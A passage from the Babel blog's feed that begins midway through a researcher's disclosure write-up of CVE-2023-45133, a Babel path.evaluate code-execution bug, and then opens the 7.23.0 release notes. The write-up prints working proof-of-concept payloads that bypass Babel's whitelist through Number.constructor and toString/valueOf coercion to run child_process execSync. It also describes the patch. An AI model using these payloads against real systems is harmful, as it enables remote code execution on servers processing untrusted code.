style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">func</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> args </span><span class="token operator">=</span><span class="token plain"> path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"arguments"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluateCached</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">func</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">apply</span><span class="token punctuation">(</span><span class="token plain">context</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>The only blacklisted method is <code>random</code>, which is a method of the <code>Math</code> object. This means that any other method of either the whitelisted <code>Number</code>, <code>String</code>, or <code>Math</code> objects can be directly referenced.</p>
<p>In JavaScript, all classes are functions. Since <code>Number</code> and <code>String</code> are global JavaScript classes, their <code>constructor</code> property points to the <code>Function</code> constructor.</p>
<p>Therefore, the two expressions below are equivalent:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">'javascript_code_here;'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token known-class-name class-name" style="color:#eab700">Function</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">'javascript_code_here;'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Passing in an arbitrary string to the <code>Function</code> constructor returns a function that will evaluate the provided string as JavaScript code when called.</p>
<p>The AST node generated by <code>Number.constructor('javascript_code_here;')</code> contains:</p>
<ul>
<li>A call expression, where<!-- -->
<ul>
<li>The callee is a member expression, where<!-- -->
<ul>
<li>The object is an identifier, with name whitelisted by <code>VALID_OBJECT_CALLEES</code></li>
<li>The property is an identifier, not blacklisted by <code>INVALID_METHODS</code></li>
</ul>
</li>
<li>The arguments are a single string literal, containing the code to be executed.</li>
</ul>
</li>
</ul>
<p>Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.</p>
<p>However, it is crucial to note that this <em>cannot call the function on its own</em>. It only <strong>creates an anonymous function</strong>.</p>
<p>So, how exactly <em>can</em> we call the function? This is where the second piece of the puzzle comes in: <strong>object expressions</strong>.</p>
<h4 class="anchor anchorWithStickyNavbar_JmGV" id="handling-of-object-expressions">Handling of Object Expressions<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#handling-of-object-expressions" class="hash-link" aria-label="Direct link to Handling of Object Expressions" title="Direct link to Handling of Object Expressions">​</a></h4>
<p>Within Babel’s <code>_evaluate</code> method, an <code>ObjectExpression</code> node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for <code>ObjectProperty</code>. As long as every <code>ObjectProperty</code> child in the <code>ObjectExpression</code> yields <code>confident: true</code> from <code>_evaluate()</code>, we can obtain a JavaScript object with custom keys/values.</p>
<p>A key property to leverage is <code>toString</code> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString" target="_blank" rel="noopener noreferrer">MDN Reference</a>). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.</p>
<p>This is exactly what we do in the payload:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token known-class-name class-name" style="color:#eab700">String</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain">  </span><span class="token literal-property property">toString</span><span class="token operator">:</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>We’ve assigned our malicious function, crafted via the <code>Function</code> constructor, to the <code>toString</code> property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.</p>
<p>In the provided example, we pass the object to the <code>String</code> function, given its status as a whitelisted function (referenced in case 1). Still, the <code>String</code> constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstratedin these alternative payload formats:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token string" style="color:#718c00">""</span><span class="token operator">+</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain">  </span><span class="token literal-property property">toString</span><span class="token operator">:</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token number" style="color:#f5871f">1</span><span class="token operator">+</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain">  </span><span class="token literal-property property">valueOf</span><span class="token operator">:</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf" target="_blank" rel="noopener noreferrer">Object.prototype.valueOf()</a>. Both examples exploit the <code>_evaluate()</code> method’s approach to handling <code>BinaryExpression</code> nodes, which directly performs the operation after recursively evaluating the left and right operands.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="the-patch">The Patch<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#the-patch" class="hash-link" aria-label="Direct link to The Patch" title="Direct link to The Patch">​</a></h2>
<p>Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:</p>
<p>The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to <code>evalute()</code> with an <code>isPure()</code> check. <a href="https://github.com/babel/babel/blob/4c155667cf50291132089a4556cd3c6cc9d2e640/packages/babel-traverse/src/scope/index.ts#L871" target="_blank" rel="noopener noreferrer">isPure</a> inherently prevents this bug, as it returns false for all <code>MemberExpression</code> nodes. <a href="https://github.com/babel/babel/pull/16032" target="_blank" rel="noopener noreferrer">PR #16032: Update babel-polyfills packages</a></p>
<p>The subsequent step involved refining the <code>evaluate()</code> function. This adjustment ensured that all inherited methods, not only <code>constructor</code>, were prevented from being called. <a href="https://github.com/babel/babel/pull/16033" target="_blank" rel="noopener noreferrer">PR #16033: Only evaluate own String/Number/Math methods</a></p>
<p>After the fixes were implemented, GitHub staff issued <a href="https://github.com/advisories/GHSA-67hx-6x53-jw92" target="_blank" rel="noopener noreferrer"><strong>CVE-2023-45133</strong></a> for the security advisory.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="a-side-note-on-disclosure-timing">A side note on disclosure timing<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#a-side-note-on-disclosure-timing" class="hash-link" aria-label="Direct link to A side note on disclosure timing" title="Direct link to A side note on disclosure timing">​</a></h2>
<p>You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:</p>
<p>Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling <strong>one’s own code</strong>, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of <code>path.evaluate</code>. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:</p>
<ol>
<li>Reverse engineering bot mitigation software, etc.</li>
<li>Malware analysis</li>
</ol>
<p>In the first case, I doubt any legitimate bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="conclusion">Conclusion<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion">​</a></h2>
<p>Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.</p>
<p>This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.</p>
<p>There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.</p>
<p>This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="references">References<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References">​</a></h2>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2023-45133" target="_blank" rel="noopener noreferrer">CVE-2023-45133</a></li>
<li><a href="https://github.com/advisories/GHSA-67hx-6x53-jw92" target="_blank" rel="noopener noreferrer">GitHub Advisory Database: Arbitrary code execution when compiling specifically crafted malicious code</a></li>
</ul>]]></content>
        <author>
            <name>William Khem Marquez</name>
            <uri>https://github.com/SteakEnthusiast/</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.23.0 Released: Decorator Metadata and many new `import` features!]]></title>
        <id>https://babeljs.io/blog/2023/09/25/7.23.0</id>
        <link href="https://babeljs.io/blog/2023/09/25/7.23.0"/>
        <updated>2023-09-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just released Babel 7.23.0! 🎉]]></summary>
        <content type="html"><![CDATA[<p>We just released Babel 7.23.0! 🎉</p>
<p>It includes transform support for the <a href="https://github.com/tc39/proposal-decorator-metadata/" target="_blank" rel="noopener noreferrer">Decorator Metadata</a>, <a href="https://github.com/tc39/proposal-source-phase-imports" target="_blank" rel="noopener noreferrer">Source Phase Import</a>, <a href="https://github.com/tc39/proposal-defer-import-eval" target="_blank" rel="noopener noreferrer">Deferred Import Evaluation</a>, and <a href="https://github.com/tc39/proposal-optional-chaining-assignment" target="_blank" rel="noopener noreferrer">Optional Chaining Assignment</a> proposals. We also updated our parser to support the new TypeScript 5.2 version, and added a transform option to let you use the <code>.ts</code> extension within TypeScript imports.</p>
<p>In addition to releasing version 7.23.0, we also recently published the first Babel 8 alpha release!</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.23.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2023/09/25/7.23.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="decorator-metadata-15895">Decorator Metadata (<a href="https://github.com/babel/babel/pull/15895" target="_blank" rel="noopener noreferrer">#15895</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#decorator-metadata-15895" class="hash-link" aria-label="Direct link to decorator-metadata-15895" title="Direct link to decorator-metadata-15895">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-decorator-metadata/" target="_blank" rel="noopener noreferrer">decorator metadata</a> Stage 3 proposal extends the <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer">Decorator</a> proposal, allowing decorators to communicate with each other by sharing some metadata.</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">write</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">_</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> context</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  context</span><span class="token punctuation">.</span><span class="token property-access">metadata</span><span class="token punctuation">.</span><span class="token property-access">message</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Hello from writer!"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">read</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">_</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> context</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">context</span><span class="token punctuation">.</span><span class="token property-access">metadata</span><span class="token punctuation">.</span><span class="token property-access">message</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@read </span><span class="token comment" style="color:#8e908c">// Logs "Hello from writer!"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @write x</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>While we usually have one plugin per proposal, these two proposals are so closely related that we decided to include support for Decorator Metadata directly in <code>@babel/plugin-proposal-decorators</code>. If you are on the latest version of Babel and you are already using standard-track decorators, this proposal is enabled by default.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="source-phase-imports-for-webassembly-modules-15829-15870">Source Phase Imports for WebAssembly modules (<a href="https://github.com/babel/babel/pull/15829" target="_blank" rel="noopener noreferrer">#15829</a>, <a href="https://github.com/babel/babel/pull/15870" target="_blank" rel="noopener noreferrer">#15870</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#source-phase-imports-for-webassembly-modules-15829-15870" class="hash-link" aria-label="Direct link to source-phase-imports-for-webassembly-modules-15829-15870" title="Direct link to source-phase-imports-for-webassembly-modules-15829-15870">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-source-phase-imports" target="_blank" rel="noopener noreferrer">Source Phase Import</a> Stage 3 proposal allows importing an object representation of the <em>source</em> of a module, without evaluating it and without loading its dependencies. You can load module sources using the <code>import source</code> syntax, for languages that have a defined source representation:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> source fooSource </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"foo"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>The motivating use case is to have static syntax to load <code>WebAssembly.Module</code> objects, rather than being forced to do so dynamically:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Before</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> url </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">.</span><span class="token property-access">meta</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./my-wasm/module.wasm"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> responsePromise </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">fetch</span><span class="token punctuation">(</span><span class="token plain">url</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> mod </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#eab700">WebAssembly</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">compileStreaming</span><span class="token punctuation">(</span><span class="token plain">responsePromise</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// After</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> source mod </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./my-wasm/module.wasm"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Babel now supports transforming source imports for WebAssembly modules targeting Node.js, Web-compatible environments (browsers and Deno), or both, depending on your configured <a href="https://babeljs.io/docs/options#targets" target="_blank" rel="noopener noreferrer"><code>targets</code></a>.</p>
<p>You can transform it using the <code>@babel/plugin-proposal-import-wasm-source</code> plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "targets": ["chrome 90", "firefox 90", "node 20.6"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": ["@babel/plugin-proposal-import-wasm-source"]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
